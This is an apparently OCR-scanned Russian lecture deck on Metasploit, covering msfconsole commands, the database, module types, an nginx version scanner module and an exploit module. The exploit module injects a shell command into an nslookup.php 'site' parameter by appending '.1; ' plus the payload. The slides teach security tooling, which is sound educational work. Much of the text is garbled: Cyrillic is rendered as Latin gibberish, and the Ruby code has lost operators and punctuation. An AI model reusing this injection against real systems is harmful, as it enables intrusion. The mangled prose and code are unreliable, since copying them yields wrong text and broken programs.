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Metasploit Framework M metasploit

e OpenMBOpPK AN NpoBeaeHUS www.metasploit.com
TECTOBbIX BTOPXXEHU N pa3paboTKu
9KCMN/IOUTOB .

e PaspaboTumk: Rapid7 o

e HanwucaH Ha Ruby. . /o
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=[ metasploit v6.0.15-dev ]
—=[ 2071 exploits - 1123 auxiliary - 352 post ]
——=[ 592 payloads - 45 encoders - 10 nops 1
—=[ 7 evasion 1
Metasploit tip: Display the Framework log using the 1 command, learn more wi

msf6 > i


https://www.metasploit.com/
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KomaHgbl msfconsole

O6LLI,VIe KOMaH/ bl Ncnonb3oBaHue Mop,yﬂeVI
- help, quit, exit § - search nouck mogynei Mo KoYeBbIM CroBaMm
é set/setg ycrtaHoBKa napameTpoB . use 3arpyska Mogyns
show BbIBOA cnvcka Moaynel U onuwi use exploit/unix/ftp/vsftpd 234 backdoor
f show exploits, show payloads, ... § Eshow options BbIBO4 OnuuMn Mogynsd :
reload_all 06HOBUTb CMNCOK MoOAyreil é éshow payloads BbIBO4 noadepXuBaemMoun LEeNeBow
; .| Harpysku '
- HepacrnosHaHHble KOMaHAbl NnepeaatoTcs B é éshow targets BbIBOO MogdepXuBaembix Lenen
OC ... edit penaKTMpoBaHMe WCXOAHOrO KOAA MOAYNs B

- penakTope

- info BblBOA MHdOPMaLUM O MOAyne
écheck NpoBepKa Lenn Ha ys3BMMOCTb 6e3
. UCMONb30BaHMS

érun 3anyck Mogyrns Ha BbINOSIHEHUE



ba3a gaHHbiXx MSF

e lcnonb3ayeTtca AN XpaHeHUs NPOMEXKYTOUHbIX AaHHbIX U
pe3ynbratoB (06bl4HO postgresql)

e Mogaynu 3anucbiBatoT B 6a3y AaHHbIX pe3ynbTaTbl CBOEN paboThl

[lepBbln 3anyck

éservice postgresql start
- msfdb init
- db_status



PaboTa c 6a301 gaHHbIX

db_nmap ckaHuMpoBaHMe ceTu C NOMOLLbIO NMap U 3anucb pesynbTaToB B 6a3y
creds BbIBOA, K/HOYEBOWN MHDOPMaL MK (NOrMHbI, MAaposuv, XaLuw, ...)

loot cobpaHHasa nHdopmauma (gamnbl 6a3, Nonb3oBaTebCKast UCTOPUSA U T.1.)
hosts cnncok xocToB

services CnMcoK CeEpBUCOB

vulns HanaeHHble yA3BUMOCTH

notes 3ameTku (ocTanbHas nonesHas MHbopmaLms)



Tnnbl Mogyneu

exploits — Mogynu ans aKcnayaTaunm yss3sBUMOCTEN
auxiliary — mogynu gnsa céopa nHpopmaummn, CKaHepbl, ...
payload — rnonesHasa Harpyska aKCrjomnToB

post — Moaynu Ansa nocTakcnnyarauum (C6op NOrMHOB, NApPoen, XeLLEN, ...



Pacnosio)xxeHne moayneu

e [naBHOe fiepeBO MoAyNeMu:
/usr/share/metasploit-framework/modules/

e [lonbsoBaTtenbckoe:
~/.msf4/modules/

e JlononHuTenbHbIe MYTU MOXXHO yKa3aTb K/IKOYOM -M:
msfconsole -m ./modules



[Mpumep 1. PaspaboTka NpoCcToro ckaHepa

3apayva: HanucaTtb cKkaHep, KOTOPbI CKaHUpPYeT ceTb Ha Hannyume ya3BUMbIX
Bepcun cepepa Nginx.

e @aKT Hannuuns YyA3BUMOCTU NMpoBEPAETCA MO BEPCUN B http—3aronosKax.

e 3a 0oCHOBY BO3bMeM Moaynb: auxiliary/scanner/http/http_version



Ckenet moayns

. require 'rex/proto/http'

: class MetasploitModule < Msf::Auxiliary

©  include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary: :Report

def initialize

super( 'Name' ‘Nginx Vulnerability scanner’,
)
register_options(
OptString.new('TARGETURI", true, 'The URI to use',
)
end

UHuumnanusaums

def run_host(ip)
begin
connect
res = send_request_raw({
‘uri’ datastore| 'TARGETURI' |,

‘method’ "GET'

)
end
rescue Timeout: :Error, Errno: :EPIPE
ensure

disconnect
end

end

. end

MeTop, BbINOJIHAEMbIN AN
Kaxgoro xocta (B RHOSTS)
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DyHKUMA f19 NPOBEPKU HA YA3BUMOCTb

. def run_host(ip)
: begin
connect
res = send_request_raw({ 'uri datastore| 'TARGETURI' |, ‘'method’ "GET' })
fp = http_fingerprint(:response res)
print_status("#{ip}: \"#{fp}\"") if fp
if fp fp /nginx\/([0-9]+)\.([0-9]+)\.?([0-9]+)?/i
major = $1.to_i; minor = $2.to_i; patch = $3.to i

version = "#{major}.#{minor}.#{patch.to_i}"
nginx_vulns
if major 1 (minor 5 patch.between?(0,11) minor 4 patch.between?(9,3)

minor 3 patch.between?(15,16))
nginx_vulns.push "CVE-2014-0133"

end
if nginx_vulns.size > ©
print_good("#{ip}: nginx #{version} - " + nginx_vulns.join(", "))
report_vuln(:host ip, :port rport, :name "Vulnerable nginx version: #{version}",
:refs nginx_vulns)
else
print_status("#{ip}: nginx #{version} - not vulnerable")
end

end



[pumep 2. Pa3dpaboTKa aKcnaonTa

3apayva: HanucaTtb 3KCMIONT K YA3BMMOCTK B ckpunTe nslookup.php.

e 3a ocHoBYy Bo3bMeM Moaynb: modules/exploits/example_webapp.rb
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NHnumnanmnsauusa

Bbl60p NONE3HON HarpysKu

class MetasploitModule < Msf::Exploit::Remote i 3aBUCUT OT AaHHbIX

Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient

3HaYeHun:
show payloads

def initialize(info = {})

super(
update_info(
info,
'Platform’ ‘unix' |,
"Arch’ ARCH_CMD |,
)
)

register_options(

Opt: :RPORT(89),
: OptString.new('TARGETURI', true, 'The URI of the
E Example Application', '/nslookup.php'])
: , self.class
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q)yHKLI,I/IFI NpoBEPKN Ha YA3SBUMOCTb

; def check

begin
res send_request cgi(
"uri' datastore| "TARGETURI" |,
"method’ "GET'
)

Exploit::CheckCode: :Appears
rescue Rex: :ConnectionError
fail with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
Exploit::CheckCode: :Safe
end

® [POCTO NPOBEPSIEM, YTO YAAETCA NOAKIHOUYMNTCS
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DOyHKLUMA 3anycka aKcnionTa

; def exploit

: begin
vprint_status('Attempting exploit')
res send_request cgi(

"uri” normalize uri(datastore|"TARGETURI"]),
"vars_get" { "site" ".1; " payload.encoded},
"method" "GET'

rescue Rex: :ConnectionError
fail with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end



JlnTepaTtypa n CCbIKK

e JlokymMeHTauua Kk MSF:
https.//docs.rapid7.com/metasploit/
e Kypc Metasploit Unleashed, Bkntovatownii B cebss pasapaboTKy Moaynen:
https://www.offensive-security.com/metasploit-unleashed/
e lNHTepaKTuBHbIe Kypcbl No Ruby:
o Try Ruby (https://try.ruby-lang.org/)
o Ruby Monk (https:/rubymonk.com/)
o Codecademy (https://www.codecademy.com/learn/learn-ruby)
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